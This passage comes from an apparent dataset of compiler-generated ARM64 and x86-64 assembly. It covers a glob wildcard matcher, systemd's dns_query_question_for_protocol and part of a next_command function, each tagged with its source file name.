stp x22, x21, [sp, #64] ; 16-byte Folded Spill
stp x20, x19, [sp, #80] ; 16-byte Folded Spill
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
mov x19, x1
ldrb w25, [x0]
Lloh0:
adrp x24, _WM_NOMATCH@GOTPAGE
Lloh1:
ldr x24, [x24, _WM_NOMATCH@GOTPAGEOFF]
cbz w25, LBB0_100
; %bb.1:
mov x20, x2
mov x26, x0
Lloh2:
adrp x27, _WM_CASEFOLD@GOTPAGE
Lloh3:
ldr x27, [x27, _WM_CASEFOLD@GOTPAGEOFF]
Lloh4:
adrp x23, _WM_PATHNAME@GOTPAGE
Lloh5:
ldr x23, [x23, _WM_PATHNAME@GOTPAGEOFF]
mov x22, x0
b LBB0_4
LBB0_2: ; in Loop: Header=BB0_4 Depth=1
and w8, w21, #0xff
cmp w8, w25, uxtb
b.ne LBB0_103
LBB0_3: ; in Loop: Header=BB0_4 Depth=1
sub x19, x19, #1
ldrb w25, [x22, #1]!
cbz w25, LBB0_100
LBB0_4: ; =>This Loop Header: Depth=1
; Child Loop BB0_35 Depth 2
; Child Loop BB0_48 Depth 3
; Child Loop BB0_19 Depth 2
ldrsb w21, [x19]
and w8, w25, #0xff
cmp w8, #42
ccmp w21, #0, #0, ne
b.eq LBB0_127
; %bb.5: ; in Loop: Header=BB0_4 Depth=1
ldr w8, [x27]
orr w8, w8, w20
cbz w8, LBB0_8
; %bb.6: ; in Loop: Header=BB0_4 Depth=1
mov x0, x21
bl _ISUPPER
cbz x0, LBB0_8
; %bb.7: ; in Loop: Header=BB0_4 Depth=1
mov x0, x21
bl _tolower
mov x21, x0
LBB0_8: ; in Loop: Header=BB0_4 Depth=1
ldr w8, [x27]
tst w8, w20
b.eq LBB0_11
; %bb.9: ; in Loop: Header=BB0_4 Depth=1
sxtb w28, w25
mov x0, x28
bl _ISUPPER
cbz x0, LBB0_11
; %bb.10: ; in Loop: Header=BB0_4 Depth=1
mov x0, x28
bl _tolower
mov x25, x0
LBB0_11: ; in Loop: Header=BB0_4 Depth=1
and w8, w25, #0xff
cmp w8, #90
b.gt LBB0_14
; %bb.12: ; in Loop: Header=BB0_4 Depth=1
cmp w8, #42
b.eq LBB0_17
; %bb.13: ; in Loop: Header=BB0_4 Depth=1
cmp w8, #63
b.eq LBB0_91
b LBB0_2
LBB0_14: ; in Loop: Header=BB0_4 Depth=1
cmp w8, #91
b.eq LBB0_27
; %bb.15: ; in Loop: Header=BB0_4 Depth=1
cmp w8, #92
b.ne LBB0_2
; %bb.16: ; in Loop: Header=BB0_4 Depth=1
ldrb w25, [x22, #1]!
b LBB0_2
LBB0_17: ; in Loop: Header=BB0_4 Depth=1
mov x9, x22
ldrb w8, [x9, #1]!
cmp w8, #42
b.ne LBB0_29
; %bb.18: ; in Loop: Header=BB0_4 Depth=1
add x0, x22, #2
LBB0_19: ; Parent Loop BB0_4 Depth=1
; => This Inner Loop Header: Depth=2
ldrb w8, [x0], #1
cmp w8, #42
b.eq LBB0_19
; %bb.20: ; in Loop: Header=BB0_4 Depth=1
mov x28, x23
ldr w9, [x23]
sub x23, x0, #1
and w9, w9, w20
cbz w9, LBB0_95
; %bb.21: ; in Loop: Header=BB0_4 Depth=1
sub x9, x22, #1
cmp x9, x26
b.ls LBB0_23
; %bb.22: ; in Loop: Header=BB0_4 Depth=1
ldrb w9, [x9]
cmp w9, #47
b.ne LBB0_26
LBB0_23: ; in Loop: Header=BB0_4 Depth=1
cmp w8, #47
b.eq LBB0_93
; %bb.24: ; in Loop: Header=BB0_4 Depth=1
cbz w8, LBB0_104
; %bb.25: ; in Loop: Header=BB0_4 Depth=1
cmp w8, #92
b.eq LBB0_105
LBB0_26: ; in Loop: Header=BB0_4 Depth=1
mov w25, #0 ; =0x0
b LBB0_96
LBB0_27: ; in Loop: Header=BB0_4 Depth=1
mov x9, x22
ldrb w8, [x9, #1]!
Lloh6:
adrp x10, _NEGATE_CLASS@GOTPAGE
Lloh7:
ldr x10, [x10, _NEGATE_CLASS@GOTPAGEOFF]
ldrb w10, [x10]
cmp w8, w10
cset w28, eq
b.ne LBB0_30
; %bb.28: ; in Loop: Header=BB0_4 Depth=1
ldrb w8, [x22, #2]!
b LBB0_31
LBB0_29: ; in Loop: Header=BB0_4 Depth=1
ldr w10, [x23]
tst w10, w20
cset w25, eq
mov x22, x9
b LBB0_97
LBB0_30: ; in Loop: Header=BB0_4 Depth=1
mov x22, x9
LBB0_31: ; in Loop: Header=BB0_4 Depth=1
mov w24, #0 ; =0x0
mov w23, #0 ; =0x0
b LBB0_35
LBB0_32: ; in Loop: Header=BB0_35 Depth=2
and w9, w21, #0xff
cmp w9, w8, uxtb
LBB0_33: ; in Loop: Header=BB0_35 Depth=2
csinc w23, w23, wzr, ne
LBB0_34: ; in Loop: Header=BB0_35 Depth=2
mov x24, x8
ldrb w9, [x22, #1]!
mov x8, x9
cmp w9, #93
b.eq LBB0_90
LBB0_35: ; Parent Loop BB0_4 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_48 Depth 3
and w9, w8, #0xff
cmp w9, #92
b.eq LBB0_43
; %bb.36: ; in Loop: Header=BB0_35 Depth=2
cbz w9, LBB0_127
; %bb.37: ; in Loop: Header=BB0_35 Depth=2
tst w24, #0xff
b.eq LBB0_45
; %bb.38: ; in Loop: Header=BB0_35 Depth=2
and w9, w8, #0xff
cmp w9, #45
b.ne LBB0_45
; %bb.39: ; in Loop: Header=BB0_35 Depth=2
mov x10, x22
ldrb w9, [x10, #1]!
cbz w9, LBB0_32
; %bb.40: ; in Loop: Header=BB0_35 Depth=2
cmp w9, #93
b.eq LBB0_32
; %bb.41: ; in Loop: Header=BB0_35 Depth=2
cmp w9, #92
b.ne LBB0_50
; %bb.42: ; in Loop: Header=BB0_35 Depth=2
ldrb w9, [x22, #2]!
cbnz w9, LBB0_51
b LBB0_127
LBB0_43: ; in Loop: Header=BB0_35 Depth=2
ldrb w8, [x22, #1]!
cbz w8, LBB0_127
; %bb.44: ; in Loop: Header=BB0_35 Depth=2
cmp w8, w21, uxtb
b LBB0_33
LBB0_45: ; in Loop: Header=BB0_35 Depth=2
and w9, w8, #0xff
cmp w9, #91
b.ne LBB0_32
; %bb.46: ; in Loop: Header=BB0_35 Depth=2
ldrb w9, [x22, #1]
cmp w9, #58
b.ne LBB0_32
; %bb.47: ; in Loop: Header=BB0_35 Depth=2
str w28, [sp, #12] ; 4-byte Folded Spill
add x24, x22, #2
mov w25, #-1 ; =0xffffffff
mov x28, x24
ldrb w8, [x28]
cbz w8, LBB0_127
LBB0_48: ; Parent Loop BB0_4 Depth=1
; Parent Loop BB0_35 Depth=2
; => This Inner Loop Header: Depth=3
cmp w8, #93
b.eq LBB0_58
; %bb.49: ; in Loop: Header=BB0_48 Depth=3
add x28, x28, #1
add w25, w25, #1
ldrb w8, [x28]
cbnz w8, LBB0_48
b LBB0_127
LBB0_50: ; in Loop: Header=BB0_35 Depth=2
mov x22, x10
LBB0_51: ; in Loop: Header=BB0_35 Depth=2
sxtb w25, w9
cmp w21, w24, sxtb
b.lt LBB0_54
; %bb.52: ; in Loop: Header=BB0_35 Depth=2
cmp w21, w25
b.gt LBB0_54
; %bb.53: ; in Loop: Header=BB0_35 Depth=2
mov w8, #0 ; =0x0
mov w23, #1 ; =0x1
b LBB0_34
LBB0_54: ; in Loop: Header=BB0_35 Depth=2
ldr w8, [x27]
tst w8, w20
b.eq LBB0_57
; %bb.55: ; in Loop: Header=BB0_35 Depth=2
mov x0, x21
bl _ISLOWER
cbz w0, LBB0_57
; %bb.56: ; in Loop: Header=BB0_35 Depth=2
mov x0, x21
bl _toupper
mov w8, #0 ; =0x0
cmp w0, w24, sxtb
ccmp w0, w25, #0, ge
csinc w23, w23, wzr, gt
b LBB0_34
LBB0_57: ; in Loop: Header=BB0_35 Depth=2
mov w8, #0 ; =0x0
b LBB0_34
LBB0_58: ; in Loop: Header=BB0_35 Depth=2
tbnz w25, #31, LBB0_62
; %bb.59: ; in Loop: Header=BB0_35 Depth=2
ldurb w8, [x28, #-1]
cmp w8, #58
b.ne LBB0_62
; %bb.60: ; in Loop: Header=BB0_35 Depth=2
mov x0, x24
mov x1, x25
Lloh8:
adrp x2, l_.str@PAGE
Lloh9:
add x2, x2, l_.str@PAGEOFF
bl _CC_EQ
cbz w0, LBB0_63
; %bb.61: ; in Loop: Header=BB0_35 Depth=2
mov x0, x21
bl _ISALNUM
b LBB0_81
LBB0_62: ; in Loop: Header=BB0_35 Depth=2
cmp w21, #91
csinc w23, w23, wzr, ne
mov w8, #91 ; =0x5b
ldr w28, [sp, #12] ; 4-byte Folded Reload
b LBB0_34
LBB0_63: ; in Loop: Header=BB0_35 Depth=2
mov x0, x24
mov x1, x25
Lloh10:
adrp x2, l_.str.1@PAGE
Lloh11:
add x2, x2, l_.str.1@PAGEOFF
bl _CC_EQ
cbz w0, LBB0_65
; %bb.64: ; in Loop: Header=BB0_35 Depth=2
mov x0, x21
bl _ISALPHA
b LBB0_81
LBB0_65: ; in Loop: Header=BB0_35 Depth=2
mov x0, x24
mov x1, x25
Lloh12:
adrp x2, l_.str.2@PAGE
Lloh13:
add x2, x2, l_.str.2@PAGEOFF
bl _CC_EQ
cbz w0, LBB0_67
; %bb.66: ; in Loop: Header=BB0_35 Depth=2
mov x0, x21
bl _ISBLANK
b LBB0_81
LBB0_67: ; in Loop: Header=BB0_35 Depth=2
mov x0, x24
mov x1, x25
Lloh14:
adrp x2, l_.str.3@PAGE
Lloh15:
add x2, x2, l_.str.3@PAGEOFF
bl _CC_EQ
cbz w0, LBB0_69
; %bb.68: ; in Loop: Header=BB0_35 Depth=2
mov x0, x21
bl _ISCNTRL
b LBB0_81
LBB0_69: ; in Loop: Header=BB0_35 Depth=2
mov x0, x24
mov x1, x25
Lloh16:
adrp x2, l_.str.4@PAGE
Lloh17:
add x2, x2, l_.str.4@PAGEOFF
bl _CC_EQ
cbz w0, LBB0_71
; %bb.70: ; in Loop: Header=BB0_35 Depth=2
mov x0, x21
bl _ISDIGIT
b LBB0_81
LBB0_71: ; in Loop: Header=BB0_35 Depth=2
mov x0, x24
mov x1, x25
Lloh18:
adrp x2, l_.str.5@PAGE
Lloh19:
add x2, x2, l_.str.5@PAGEOFF
bl _CC_EQ
cbz w0, LBB0_73
; %bb.72: ; in Loop: Header=BB0_35 Depth=2
mov x0, x21
bl _ISGRAPH
b LBB0_81
LBB0_73: ; in Loop: Header=BB0_35 Depth=2
mov x0, x24
mov x1, x25
Lloh20:
adrp x2, l_.str.6@PAGE
Lloh21:
add x2, x2, l_.str.6@PAGEOFF
bl _CC_EQ
cbz w0, LBB0_75
LBB0_74: ; in Loop: Header=BB0_35 Depth=2
mov x0, x21
bl _ISLOWER
b LBB0_81
LBB0_75: ; in Loop: Header=BB0_35 Depth=2
mov x0, x24
mov x1, x25
Lloh22:
adrp x2, l_.str.7@PAGE
Lloh23:
add x2, x2, l_.str.7@PAGEOFF
bl _CC_EQ
cbz w0, LBB0_77
; %bb.76: ; in Loop: Header=BB0_35 Depth=2
mov x0, x21
bl _ISPRINT
b LBB0_81
LBB0_77: ; in Loop: Header=BB0_35 Depth=2
mov x0, x24
mov x1, x25
Lloh24:
adrp x2, l_.str.8@PAGE
Lloh25:
add x2, x2, l_.str.8@PAGEOFF
bl _CC_EQ
cbz w0, LBB0_79
; %bb.78: ; in Loop: Header=BB0_35 Depth=2
mov x0, x21
bl _ISPUNCT
b LBB0_81
LBB0_79: ; in Loop: Header=BB0_35 Depth=2
mov x0, x24
mov x1, x25
Lloh26:
adrp x2, l_.str.9@PAGE
Lloh27:
add x2, x2, l_.str.9@PAGEOFF
bl _CC_EQ
cbz w0, LBB0_83
; %bb.80: ; in Loop: Header=BB0_35 Depth=2
mov x0, x21
bl _ISSPACE
LBB0_81: ; in Loop: Header=BB0_35 Depth=2
mov w8, #0 ; =0x0
cmp w0, #0
csinc w23, w23, wzr, eq
LBB0_82: ; in Loop: Header=BB0_35 Depth=2
mov x22, x28
ldr w28, [sp, #12] ; 4-byte Folded Reload
b LBB0_34
LBB0_83: ; in Loop: Header=BB0_35 Depth=2
mov x0, x24
mov x1, x25
Lloh28:
adrp x2, l_.str.10@PAGE
Lloh29:
add x2, x2, l_.str.10@PAGEOFF
bl _CC_EQ
cbz w0, LBB0_86
; %bb.84: ; in Loop: Header=BB0_35 Depth=2
mov x0, x21
bl _ISUPPER
cbz x0, LBB0_88
; %bb.85: ; in Loop: Header=BB0_35 Depth=2
mov w8, #0 ; =0x0
mov w23, #1 ; =0x1
b LBB0_82
LBB0_86: ; in Loop: Header=BB0_35 Depth=2
mov x0, x24
mov x1, x25
Lloh30:
adrp x2, l_.str.11@PAGE
Lloh31:
add x2, x2, l_.str.11@PAGEOFF
bl _CC_EQ
cbz w0, LBB0_127
; %bb.87: ; in Loop: Header=BB0_35 Depth=2
mov x0, x21
bl _ISXDIGIT
b LBB0_81
LBB0_88: ; in Loop: Header=BB0_35 Depth=2
ldr w8, [x27]
tst w8, w20
b.ne LBB0_74
; %bb.89: ; in Loop: Header=BB0_35 Depth=2
mov w8, #0 ; =0x0
b LBB0_82
LBB0_90: ; in Loop: Header=BB0_4 Depth=1
cmp w23, w28
Lloh32:
adrp x24, _WM_NOMATCH@GOTPAGE
Lloh33:
ldr x24, [x24, _WM_NOMATCH@GOTPAGEOFF]
Lloh34:
adrp x23, _WM_PATHNAME@GOTPAGE
Lloh35:
ldr x23, [x23, _WM_PATHNAME@GOTPAGEOFF]
b.eq LBB0_103
LBB0_91: ; in Loop: Header=BB0_4 Depth=1
ldr w8, [x23]
tst w8, w20
b.eq LBB0_3
; %bb.92: ; in Loop: Header=BB0_4 Depth=1
cmp w21, #47
b.ne LBB0_3
b LBB0_103
LBB0_93: ; in Loop: Header=BB0_4 Depth=1
mov x1, x19
mov x2, x20
bl _dowild
Lloh36:
adrp x8, _WM_MATCH@GOTPAGE
Lloh37:
ldr x8, [x8, _WM_MATCH@GOTPAGEOFF]
Lloh38:
ldr w8, [x8]
cmp w0, w8
b.eq LBB0_129
; %bb.94: ; in Loop: Header=BB0_4 Depth=1
ldrb w8, [x23]
LBB0_95: ; in Loop: Header=BB0_4 Depth=1
mov w25, #1 ; =0x1
LBB0_96: ; in Loop: Header=BB0_4 Depth=1
mov x22, x23
mov x23, x28
LBB0_97: ; in Loop: Header=BB0_4 Depth=1
cbz w8, LBB0_101
; %bb.98: ; in Loop: Header=BB0_4 Depth=1
cmp w8, #47
cset w8, eq
bic w8, w8, w25
tbz w8, #0, LBB0_106
; %bb.99: ; in Loop: Header=BB0_4 Depth=1
mov x0, x19
mov w1, #47 ; =0x2f
bl _strchr
mov x19, x0
cbnz x0, LBB0_3
b LBB0_103
LBB0_100:
ldrb w8, [x19]
cmp w8, #0
Lloh39:
adrp x8, _WM_MATCH@GOTPAGE
Lloh40:
ldr x8, [x8, _WM_MATCH@GOTPAGEOFF]
csel x8, x8, x24, eq
b LBB0_128
LBB0_101:
tbnz w25, #0, LBB0_104
; %bb.102:
mov x0, x19
mov w1, #47 ; =0x2f
bl _strchr
cbz x0, LBB0_104
LBB0_103:
ldr w0, [x24]
b LBB0_129
LBB0_104:
Lloh41:
adrp x8, _WM_MATCH@GOTPAGE
Lloh42:
ldr x8, [x8, _WM_MATCH@GOTPAGEOFF]
b LBB0_128
LBB0_105:
ldrb w8, [x0], #-1
cmp w8, #47
cset w25, eq
mov x22, x0
LBB0_106:
cbz w21, LBB0_127
; %bb.107:
Lloh43:
adrp x26, _WM_ABORT_TO_STARSTAR@GOTPAGE
Lloh44:
ldr x26, [x26, _WM_ABORT_TO_STARSTAR@GOTPAGEOFF]
b LBB0_110
LBB0_108: ; in Loop: Header=BB0_110 Depth=1
ldr w8, [x26]
cmp w0, w8
csel w8, wzr, w25, ne
tbz w8, #0, LBB0_129
LBB0_109: ; in Loop: Header=BB0_110 Depth=1
ldrb w21, [x19, #1]!
cbz w21, LBB0_127
LBB0_110: ; =>This Loop Header: Depth=1
; Child Loop BB0_116 Depth 2
ldrsb w0, [x22]
bl _is_glob_special
cbnz w0, LBB0_124
; %bb.111: ; in Loop: Header=BB0_110 Depth=1
ldrsb w21, [x22]
ldr w8, [x27]
tst w8, w20
b.eq LBB0_114
; %bb.112: ; in Loop: Header=BB0_110 Depth=1
mov x0, x21
bl _ISUPPER
cbz x0, LBB0_114
; %bb.113: ; in Loop: Header=BB0_110 Depth=1
mov x0, x21
bl _tolower
mov x21, x0
LBB0_114: ; in Loop: Header=BB0_110 Depth=1
ldrb w23, [x19]
cmp w23, #47
csinc w8, w25, wzr, eq
cbz w23, LBB0_122
; %bb.115: ; in Loop: Header=BB0_110 Depth=1
cbz w8, LBB0_122
LBB0_116: ; Parent Loop BB0_110 Depth=1
; => This Inner Loop Header: Depth=2
mov x28, x24
ldr w8, [x27]
tst w8, w20
b.eq LBB0_119
; %bb.117: ; in Loop: Header=BB0_116 Depth=2
sxtb w24, w23
mov x0, x24
bl _ISUPPER
cbz x0, LBB0_119
; %bb.118: ; in Loop: Header=BB0_116 Depth=2
mov x0, x24
bl _tolower
mov x23, x0
LBB0_119: ; in Loop: Header=BB0_116 Depth=2
and w8, w23, #0xff
cmp w8, w21, uxtb
b.eq LBB0_123
; %bb.120: ; in Loop: Header=BB0_116 Depth=2
ldrb w23, [x19, #1]!
cmp w23, #47
csinc w8, w25, wzr, eq
mov x24, x28
cbz w23, LBB0_122
; %bb.121: ; in Loop: Header=BB0_116 Depth=2
tbnz w8, #0, LBB0_116
LBB0_122: ; in Loop: Header=BB0_110 Depth=1
cmp w23, w21, uxtb
b.eq LBB0_124
b LBB0_103
LBB0_123: ; in Loop: Header=BB0_110 Depth=1
mov x24, x28
LBB0_124: ; in Loop: Header=BB0_110 Depth=1
mov x0, x22
mov x1, x19
mov x2, x20
bl _dowild
ldr w8, [x24]
cmp w0, w8
b.ne LBB0_108
; %bb.125: ; in Loop: Header=BB0_110 Depth=1
and w8, w21, #0xff
cmp w8, #47
csinc w8, w25, wzr, eq
tbnz w8, #0, LBB0_109
; %bb.126:
ldr w0, [x26]
b LBB0_129
LBB0_127:
Lloh45:
adrp x8, _WM_ABORT_ALL@GOTPAGE
Lloh46:
ldr x8, [x8, _WM_ABORT_ALL@GOTPAGEOFF]
LBB0_128:
ldr w0, [x8]
LBB0_129:
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
ldp x20, x19, [sp, #80] ; 16-byte Folded Reload
ldp x22, x21, [sp, #64] ; 16-byte Folded Reload
ldp x24, x23, [sp, #48] ; 16-byte Folded Reload
ldp x26, x25, [sp, #32] ; 16-byte Folded Reload
ldp x28, x27, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #112
ret
.loh AdrpLdrGot Lloh0, Lloh1
.loh AdrpLdrGot Lloh4, Lloh5
.loh AdrpLdrGot Lloh2, Lloh3
.loh AdrpLdrGot Lloh6, Lloh7
.loh AdrpAdd Lloh8, Lloh9
.loh AdrpAdd Lloh10, Lloh11
.loh AdrpAdd Lloh12, Lloh13
.loh AdrpAdd Lloh14, Lloh15
.loh AdrpAdd Lloh16, Lloh17
.loh AdrpAdd Lloh18, Lloh19
.loh AdrpAdd Lloh20, Lloh21
.loh AdrpAdd Lloh22, Lloh23
.loh AdrpAdd Lloh24, Lloh25
.loh AdrpAdd Lloh26, Lloh27
.loh AdrpAdd Lloh28, Lloh29
.loh AdrpAdd Lloh30, Lloh31
.loh AdrpLdrGot Lloh34, Lloh35
.loh AdrpLdrGot Lloh32, Lloh33
.loh AdrpLdrGotLdr Lloh36, Lloh37, Lloh38
.loh AdrpLdrGot Lloh39, Lloh40
.loh AdrpLdrGot Lloh41, Lloh42
.loh AdrpLdrGot Lloh43, Lloh44
.loh AdrpLdrGot Lloh45, Lloh46
.cfi_endproc
; -- End function
.comm _WM_ABORT_ALL,4,2 ; @WM_ABORT_ALL
.comm _WM_CASEFOLD,4,2 ; @WM_CASEFOLD
.comm _WM_NOMATCH,4,2 ; @WM_NOMATCH
.comm _WM_PATHNAME,4,2 ; @WM_PATHNAME
.comm _WM_MATCH,4,2 ; @WM_MATCH
.comm _WM_ABORT_TO_STARSTAR,4,2 ; @WM_ABORT_TO_STARSTAR
.comm _NEGATE_CLASS,1,0 ; @NEGATE_CLASS
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "alnum"
l_.str.1: ; @.str.1
.asciz "alpha"
l_.str.2: ; @.str.2
.asciz "blank"
l_.str.3: ; @.str.3
.asciz "cntrl"
l_.str.4: ; @.str.4
.asciz "digit"
l_.str.5: ; @.str.5
.asciz "graph"
l_.str.6: ; @.str.6
.asciz "lower"
l_.str.7: ; @.str.7
.asciz "print"
l_.str.8: ; @.str.8
.asciz "punct"
l_.str.9: ; @.str.9
.asciz "space"
l_.str.10: ; @.str.10
.asciz "upper"
l_.str.11: ; @.str.11
.asciz "xdigit"
.comm _NEGATE_CLASS2,1,0 ; @NEGATE_CLASS2
.no_dead_strip _dowild
.subsections_via_symbols
| assembly_file_138711.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _dns_query_question_for_protocol ## -- Begin function dns_query_question_for_protocol
.p2align 4, 0x90
_dns_query_question_for_protocol: ## @dns_query_question_for_protocol
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movl %esi, %r14d
movq %rdi, %rbx
callq _assert
leal -128(%r14), %eax
cmpl $2, %eax
jb LBB0_4
## %bb.1:
cmpl $130, %r14d
jne LBB0_2
## %bb.3:
addq $8, %rbx
LBB0_4:
movq (%rbx), %rax
jmp LBB0_5
LBB0_2:
xorl %eax, %eax
LBB0_5:
popq %rbx
popq %r14
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _dns_query_question_for_protocol ; -- Begin function dns_query_question_for_protocol
.p2align 2
_dns_query_question_for_protocol: ; @dns_query_question_for_protocol
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x20, x1
mov x19, x0
bl _assert
sub w8, w20, #128
cmp w8, #2
b.lo LBB0_3
; %bb.1:
cmp w20, #130
b.ne LBB0_4
; %bb.2:
add x19, x19, #8
LBB0_3:
ldr x0, [x19]
b LBB0_5
LBB0_4:
mov x0, #0
LBB0_5:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| AnghaBench/systemd/src/resolve/extr_resolved-dns-query.c_dns_query_question_for_protocol.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _next_command ## -- Begin function next_command
.p2align 4, 0x90
_next_command: ## @next_command
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $24, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, %rbx
movq _paralimit@GOTPCREL(%rip), %rax
cmpq $0, (%rax)
je LBB0_1
## %bb.4:
movq _JF_FROM_RUNQ@GOTPCREL(%rip), %rax
movl (%rax), %ecx
notl %ecx
andl (%rbx), %ecx
movl %ecx, (%rbx)
movq _JF_STOP@GOTPCREL(%rip), %rax
movl (%rax), %edx
movq _JF_FAILED@GOTPCREL(%rip), %rax
movl (%rax), %r12d
movl %r12d, %r13d
movl %edx, -44(%rbp) ## 4-byte Spill
orl %edx, %r13d
movl %ecx, -48(%rbp) ## 4-byte Spill
andl %ecx, %r13d
xorl %eax, %eax
cmpl %r12d, %r13d
setne %al
movq 8(%rbx), %rcx
movl (%rcx), %r14d
addq %rax, %rax
decq %rax
movq %rax, -56(%rbp) ## 8-byte Spill
jmp LBB0_5
.p2align 4, 0x90
LBB0_20: ## in Loop: Header=BB0_5 Depth=1
movq $0, 16(%rbx)
LBB0_5: ## =>This Inner Loop Header: Depth=1
movq 16(%rbx), %rdi
testq %rdi, %rdi
je LBB0_6
## %bb.19: ## in Loop: Header=BB0_5 Depth=1
cmpq _dummystring@GOTPCREL(%rip), %rdi
je LBB0_20
## %bb.21: ## in Loop: Header=BB0_5 Depth=1
cmpl %r12d, %r13d
je LBB0_24
## %bb.22: ## in Loop: Header=BB0_5 Depth=1
movl -44(%rbp), %eax ## 4-byte Reload
testl %eax, -48(%rbp) ## 4-byte Folded Reload
je LBB0_25
## %bb.23: ## in Loop: Header=BB0_5 Depth=1
movq 24(%rbx), %rax
movl %r14d, %ecx
movq (%rax,%rcx,8), %rax
movq _PF_REV@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
testl %ecx, (%rax)
je LBB0_25
LBB0_24: ## in Loop: Header=BB0_5 Depth=1
movq _cfstrings@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq _tq@GOTPCREL(%rip), %rax
movl (%rax), %edx
callq _TAILQ_PREV
jmp LBB0_26
.p2align 4, 0x90
LBB0_6: ## in Loop: Header=BB0_5 Depth=1
movq 8(%rbx), %rax
movq -56(%rbp), %rdx ## 8-byte Reload
leaq (%rax,%rdx,4), %rcx
movq %rcx, 8(%rbx)
movl (%rax,%rdx,4), %r15d
leal -128(%r15), %ecx
cmpl $5, %ecx
ja LBB0_13
## %bb.7: ## in Loop: Header=BB0_5 Depth=1
xorl %eax, %eax
leaq LJTI0_0(%rip), %rdx
movslq (%rdx,%rcx,4), %rcx
addq %rdx, %rcx
jmpq *%rcx
LBB0_12: ## in Loop: Header=BB0_5 Depth=1
movq 24(%rbx), %rax
movq 1048(%rax), %rdi
callq _bool_param
movl $131, %r14d
movl $131, %r15d
testl %eax, %eax
jne LBB0_10
jmp LBB0_5
LBB0_25: ## in Loop: Header=BB0_5 Depth=1
movq _tq@GOTPCREL(%rip), %rax
movl (%rax), %esi
callq _TAILQ_NEXT
LBB0_26: ## in Loop: Header=BB0_5 Depth=1
movl %r14d, %r15d
LBB0_27: ## in Loop: Header=BB0_5 Depth=1
movq %rax, 16(%rbx)
movl %r15d, %r14d
testq %rax, %rax
je LBB0_5
## %bb.28: ## in Loop: Header=BB0_5 Depth=1
cmpq $0, (%rax)
jne LBB0_29
jmp LBB0_5
LBB0_13: ## in Loop: Header=BB0_5 Depth=1
movq 24(%rbx), %rax
movq (%rax,%r15,8), %rdi
movl %r15d, %r14d
testq %rdi, %rdi
je LBB0_5
## %bb.14: ## in Loop: Header=BB0_5 Depth=1
cmpl %r12d, %r13d
je LBB0_17
## %bb.15: ## in Loop: Header=BB0_5 Depth=1
movl -44(%rbp), %eax ## 4-byte Reload
testl %eax, -48(%rbp) ## 4-byte Folded Reload
je LBB0_18
## %bb.16: ## in Loop: Header=BB0_5 Depth=1
movq _PF_REV@GOTPCREL(%rip), %rax
movl (%rax), %eax
testl %eax, (%rdi)
je LBB0_18
LBB0_17: ## in Loop: Header=BB0_5 Depth=1
addq $4, %rdi
movq _cfstrings@GOTPCREL(%rip), %rax
movl (%rax), %esi
callq _TAILQ_LAST
jmp LBB0_27
LBB0_11: ## in Loop: Header=BB0_5 Depth=1
movq 24(%rbx), %rax
movq 1056(%rax), %rdi
callq _bool_param
movl $132, %r14d
movl $132, %r15d
testl %eax, %eax
jne LBB0_10
jmp LBB0_5
LBB0_8: ## in Loop: Header=BB0_5 Depth=1
movq 24(%rbx), %rax
movq 1064(%rax), %rdi
callq _bool_param
movl $133, %r14d
movl $133, %r15d
testl %eax, %eax
je LBB0_5
.p2align 4, 0x90
LBB0_10: ## in Loop: Header=BB0_5 Depth=1
movq _dummystring@GOTPCREL(%rip), %rax
movq %rax, 16(%rbx)
movl %r15d, %r14d
cmpq $0, (%rax)
je LBB0_5
LBB0_29: ## in Loop: Header=BB0_5 Depth=1
cmpl %r12d, %r13d
jne LBB0_35
## %bb.30: ## in Loop: Header=BB0_5 Depth=1
movq _IP_EXEC_PRESTART@GOTPCREL(%rip), %rax
cmpl (%rax), %r14d
je LBB0_5
## %bb.31: ## in Loop: Header=BB0_5 Depth=1
movq _IP_EXEC_CREATED@GOTPCREL(%rip), %rax
cmpl (%rax), %r14d
je LBB0_5
## %bb.32: ## in Loop: Header=BB0_5 Depth=1
movq _IP_EXEC_START@GOTPCREL(%rip), %rax
cmpl (%rax), %r14d
je LBB0_5
## %bb.33: ## in Loop: Header=BB0_5 Depth=1
movq _IP_COMMAND@GOTPCREL(%rip), %rax
cmpl (%rax), %r14d
je LBB0_5
## %bb.34: ## in Loop: Header=BB0_5 Depth=1
movq _IP_EXEC_POSTSTART@GOTPCREL(%rip), %rax
cmpl (%rax), %r14d
je LBB0_5
